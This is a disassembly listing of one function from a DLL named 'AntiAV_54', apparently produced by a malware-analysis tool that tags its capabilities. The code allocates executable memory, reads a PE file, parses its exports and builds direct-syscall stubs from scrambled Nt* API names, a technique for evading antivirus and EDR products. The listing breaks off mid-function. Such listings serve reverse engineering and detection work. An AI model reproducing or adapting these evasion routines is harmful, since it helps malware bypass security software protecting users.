Function at 0x6c68330f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
mov eax, 0x2fd8
call fcn.6c695fd0
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.6c694cd0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x2f24], eax
mov eax, dword [rbp + 0x2f24]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x2f18], rax
mov rax, qword [rbp + 0x2f18]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x2f10], rax
mov rax, qword [rbp + 0x2f10]
add rax, 0x17
mov qword [rbp + 0x2f08], rax
mov rax, qword [rbp + 0x2f08]
add rax, 0x17
mov qword [rbp + 0x2f00], rax
mov rax, qword [rbp + 0x2f00]
add rax, 0x17
mov qword [rbp + 0x2ef8], rax
mov rax, qword [rbp + 0x2ef8]
add rax, 0x17
mov qword [rbp + 0x2ef0], rax
mov rax, qword [rbp + 0x2ef0]
add rax, 0x17
mov qword [rbp + 0x2ee8], rax
mov rax, qword [rbp + 0x2ee8]
add rax, 0x17
mov qword [rbp + 0x2ee0], rax
mov rax, qword [rbp + 0x2ee0]
add rax, 0x17
mov qword [rbp + 0x2ed8], rax
mov rax, qword [rbp + 0x2ed8]
add rax, 0x17
mov qword [rbp + 0x2ed0], rax
mov rax, qword [rbp + 0x2ed0]
add rax, 0x17
mov qword [rbp + 0x2ec8], rax
mov rax, qword [rbp + 0x2ec8]
add rax, 0x17
mov qword [rbp + 0x2ec0], rax
mov rax, qword [rbp + 0x2ec0]
add rax, 0x17
mov qword [rbp + 0x2eb8], rax
mov rax, qword [rbp + 0x2eb8]
add rax, 0x17
mov qword [rbp + 0x2eb0], rax
mov rax, qword [rbp + 0x2eb0]
add rax, 0x17
mov qword [rbp + 0x2ea8], rax
mov rax, qword [rbp + 0x2ea8]
add rax, 0x17
mov qword [rbp + 0x2ea0], rax
mov rax, qword [rbp + 0x2ea0]
add rax, 0x17
mov qword [rbp + 0x2e98], rax
mov rax, qword [rbp + 0x2e98]
add rax, 0x17
mov qword [rbp + 0x2e90], rax
mov qword [rbp + 0xf0], 0
mov qword [rbp + 0xf8], 0
mov dword [rbp + 0x100], 0
mov word [rbp + 0x104], 0
mov byte [rbp + 0x106], 0
mov dword [rbp + 0xec], 0
mov qword [rbp + 0x2e88], 0
mov dword [rbp + 0x2e84], 0
mov dword [rbp + 0xe8], 0
mov qword [rbp + 0x2e78], 0
mov rax, qword [rbp + 0x2f10]
mov qword [sym.AntiAV_54.dll_joQMtZnOioIebIzXAji], rax
lea rdx, [rbp + 0xec]
mov rax, qword [rbp + 0x2f10]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f08]
mov qword [sym.AntiAV_54.dll_NVPbavUhFeXzfVJvHOG], rax
lea rdx, [rbp + 0xec]
mov rax, qword [rbp + 0x2f08]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f00]
mov qword [sym.AntiAV_54.dll_dIDEjqVDagDKmTmkegl], rax
lea rdx, [rbp + 0xec]
mov rax, qword [rbp + 0x2f00]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ef8]
mov qword [sym.AntiAV_54.dll_IKWZblKhdHeVCOlzcqW], rax
lea rdx, [rbp + 0xec]
mov rax, qword [rbp + 0x2ef8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ef0]
mov qword [sym.AntiAV_54.dll_RbhhNFIMuqshupKkvsU], rax
lea rdx, [rbp + 0xec]
mov rax, qword [rbp + 0x2ef0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ee8]
mov qword [sym.AntiAV_54.dll_SJFfwLcHSTHIKcWBXgW], rax
lea rdx, [rbp + 0xec]
mov rax, qword [rbp + 0x2ee8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ee0]
mov qword [sym.AntiAV_54.dll_RTadBWVKKGXDJZhqVVl], rax
lea rdx, [rbp + 0xec]
mov rax, qword [rbp + 0x2ee0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ed8]
mov qword [sym.AntiAV_54.dll_UyURpOqFwwkiRfpyvPH], rax
lea rdx, [rbp + 0xec]
mov rax, qword [rbp + 0x2ed8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ed0]
mov qword [sym.AntiAV_54.dll_wqfJotrscJCNOQkuNsk], rax
lea rdx, [rbp + 0xec]
mov rax, qword [rbp + 0x2ed0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ec8]
mov qword [sym.AntiAV_54.dll_xhwYflzQtmNaYwyPgvF], rax
lea rdx, [rbp + 0xec]
mov rax, qword [rbp + 0x2ec8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ec0]
mov qword [sym.AntiAV_54.dll_WFEYNmaPCSKgoafTQXI], rax
lea rdx, [rbp + 0xec]
mov rax, qword [rbp + 0x2ec0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2eb8]
mov qword [sym.AntiAV_54.dll_DdJisojowhnvlrhYSiA], rax
lea rdx, [rbp + 0xec]
mov rax, qword [rbp + 0x2eb8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2eb0]
mov qword [sym.AntiAV_54.dll_wUbeKwUPpNYWwuSZZYM], rax
lea rdx, [rbp + 0xec]
mov rax, qword [rbp + 0x2eb0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ea8]
mov qword [sym.AntiAV_54.dll_doeVxzMCGAPXwUvEerV], rax
lea rdx, [rbp + 0xec]
mov rax, qword [rbp + 0x2ea8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ea0]
mov qword [sym.AntiAV_54.dll_MxdPVLFASobasmytFaa], rax
lea rdx, [rbp + 0xec]
mov rax, qword [rbp + 0x2ea0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2e98]
mov qword [sym.AntiAV_54.dll_BXexwxGQGLKaCUVQxQN], rax
lea rdx, [rbp + 0xec]
mov rax, qword [rbp + 0x2e98]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2e90]
mov qword [sym.AntiAV_54.dll_JAZhsDQDZNUOfUfgaFO], rax
lea rdx, [rbp + 0xec]
mov rax, qword [rbp + 0x2e90]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rcx, [0x6c73d394]
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x2e88], rax
mov rax, qword [rbp + 0x2e88]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x2e84], eax
mov ebx, dword [rbp + 0x2e84]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x2e78], rax
lea r8, [rbp + 0xe8]
mov ecx, dword [rbp + 0x2e84]
mov rdx, qword [rbp + 0x2e78]
mov rax, qword [rbp + 0x2e88]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x2e78]
mov qword [rbp + 0x2e70], rax
mov rax, qword [rbp + 0x2e70]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2e78]
add rax, rdx
mov qword [rbp + 0x2e68], rax
mov rax, qword [rbp + 0x2e68]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x2e64], eax
mov rax, qword [rbp + 0x2e68]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x2e68]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x2f48], rax
mov rax, qword [rbp + 0x2f48]
mov qword [rbp + 0x2e58], rax
mov rax, qword [rbp + 0x2f48]
mov qword [rbp + 0x2f40], rax
mov dword [rbp + 0x2f3c], 0
mov rax, qword [rbp + 0x2e68]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x2f3c], eax
jge 0x6c683a42
mov rax, qword [rbp + 0x2f48]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x6c683a31
mov rax, qword [rbp + 0x2f48]
mov qword [rbp + 0x2f40], rax
jmp 0x6c683a42
add qword [rbp + 0x2f48], 0x28
add dword [rbp + 0x2f3c], 1
jmp 0x6c6839f1
mov edx, dword [rbp + 0x2e64]
mov rax, qword [rbp + 0x2e78]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x2f40]
mov rdx, rax
call sym.AntiAV_54.dll_RVAtoRawOffset_unsigned_long_long___IMAGE_SECTION_HEADER_
mov qword [rbp + 0x2e50], rax
lea rax, [rbp + 0x3df]
mov rcx, rax
call fcn.6c6f0900
lea rdx, [rbp + 0x3df]
lea rax, [rbp + 0x3b0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x390]
lea rdx, [rbp + 0x3b0]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x370]
lea rdx, [rbp + 0x390]
lea r8, [0x6c73d3bd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x350]
lea rdx, [rbp + 0x370]
lea r8, [0x6c73d3bf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x330]
lea rdx, [rbp + 0x350]
lea r8, [0x6c73d3bf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x310]
lea rdx, [rbp + 0x330]
lea r8, [0x6c73d3c1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2f0]
lea rdx, [rbp + 0x310]
lea r8, [0x6c73d3c3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2d0]
lea rdx, [rbp + 0x2f0]
lea r8, [0x6c73d3c5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2b0]
lea rdx, [rbp + 0x2d0]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x290]
lea rdx, [rbp + 0x2b0]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x270]
lea rdx, [rbp + 0x290]
lea r8, [0x6c73d3c9]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x250]
lea rdx, [rbp + 0x270]
lea r8, [0x6c73d3cb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x230]
lea rdx, [rbp + 0x250]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x210]
lea rdx, [rbp + 0x230]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1f0]
lea rdx, [rbp + 0x210]
lea r8, [0x6c73d3cf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1d0]
lea rdx, [rbp + 0x1f0]
lea r8, [0x6c73d3c5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1b0]
lea rdx, [rbp + 0x1d0]
lea r8, [0x6c73d3bf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x190]
lea rdx, [rbp + 0x1b0]
lea r8, [0x6c73d3d1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [rbp + 0x190]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x150]
lea rdx, [rbp + 0x170]
lea r8, [0x6c73d3d3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x130]
lea rdx, [rbp + 0x150]
lea r8, [0x6c73d3c1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x110]
lea rdx, [rbp + 0x130]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xc0]
lea rdx, [rbp + 0x110]
lea r8, [0x6c73d3d5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x110]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x130]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x150]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x170]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1b0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1d0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1f0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x210]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x230]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x250]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x290]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2b0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2d0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2f0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x310]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x330]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x350]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x370]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x390]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x3b0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x3df]
mov rcx, rax
call fcn.6c6f0930
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x3e0]
mov rcx, rax
call fcn.6c725bd0
mov r9, qword [rbp + 0x2e58]
mov r8, qword [rbp + 0x2e78]
mov rdx, qword [rbp + 0x2e50]
lea rax, [rbp + 0x3e0]
mov rcx, qword [rbp + 0x2f10]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.AntiAV_54.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x2e4c], eax
lea rax, [rbp + 0x3e0]
mov rcx, rax
call fcn.6c726110
cmp dword [rbp + 0x2e4c], 0
je 0x6c683ee8
lea rbx, [0x6c73d3d7]
jmp 0x6c683eef
lea rbx, [0x6c73d3dc]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c6b05f0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.6c6813d0
lea rax, [rbp + 0x68f]
mov rcx, rax
call fcn.6c6f0900
lea rdx, [rbp + 0x68f]
lea rax, [rbp + 0x660]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x640]
lea rdx, [rbp + 0x660]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x620]
lea rdx, [rbp + 0x640]
lea r8, str.WPCThdExRsFSngObjQIfpGDw_n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x600]
lea rdx, [rbp + 0x620]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x5e0]
lea rdx, [rbp + 0x600]
lea r8, [0x6c73d3cb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x5c0]
lea rdx, [rbp + 0x5e0]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x5a0]
lea rdx, [rbp + 0x5c0]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x580]
lea rdx, [rbp + 0x5a0]
lea r8, [0x6c73d3c9]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x560]
lea rdx, [rbp + 0x580]
lea r8, [0x6c73d3cb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x540]
lea rdx, [rbp + 0x560]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x520]
lea rdx, [rbp + 0x540]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x500]
lea rdx, [rbp + 0x520]
lea r8, [0x6c73d3cf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4e0]
lea rdx, [rbp + 0x500]
lea r8, [0x6c73d3c5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4c0]
lea rdx, [rbp + 0x4e0]
lea r8, [0x6c73d3bf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4a0]
lea rdx, [rbp + 0x4c0]
lea r8, [0x6c73d3d1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x480]
lea rdx, [rbp + 0x4a0]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x460]
lea rdx, [rbp + 0x480]
lea r8, [0x6c73d3d3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x440]
lea rdx, [rbp + 0x460]
lea r8, [0x6c73d3c1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x420]
lea rdx, [rbp + 0x440]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x400]
lea rdx, [rbp + 0x420]
lea r8, [0x6c73d3d5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x400]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c726150
lea rax, [rbp + 0x400]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x420]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x440]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x460]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x480]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x4a0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x4c0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x4e0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x500]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x520]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x540]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x560]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x580]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x5a0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x5c0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x5e0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x600]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x620]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x640]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x660]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x68f]
mov rcx, rax
call fcn.6c6f0930
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x690]
mov rcx, rax
call fcn.6c725bd0
mov r9, qword [rbp + 0x2e58]
mov r8, qword [rbp + 0x2e78]
mov rdx, qword [rbp + 0x2e50]
lea rax, [rbp + 0x690]
mov rcx, qword [rbp + 0x2f08]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
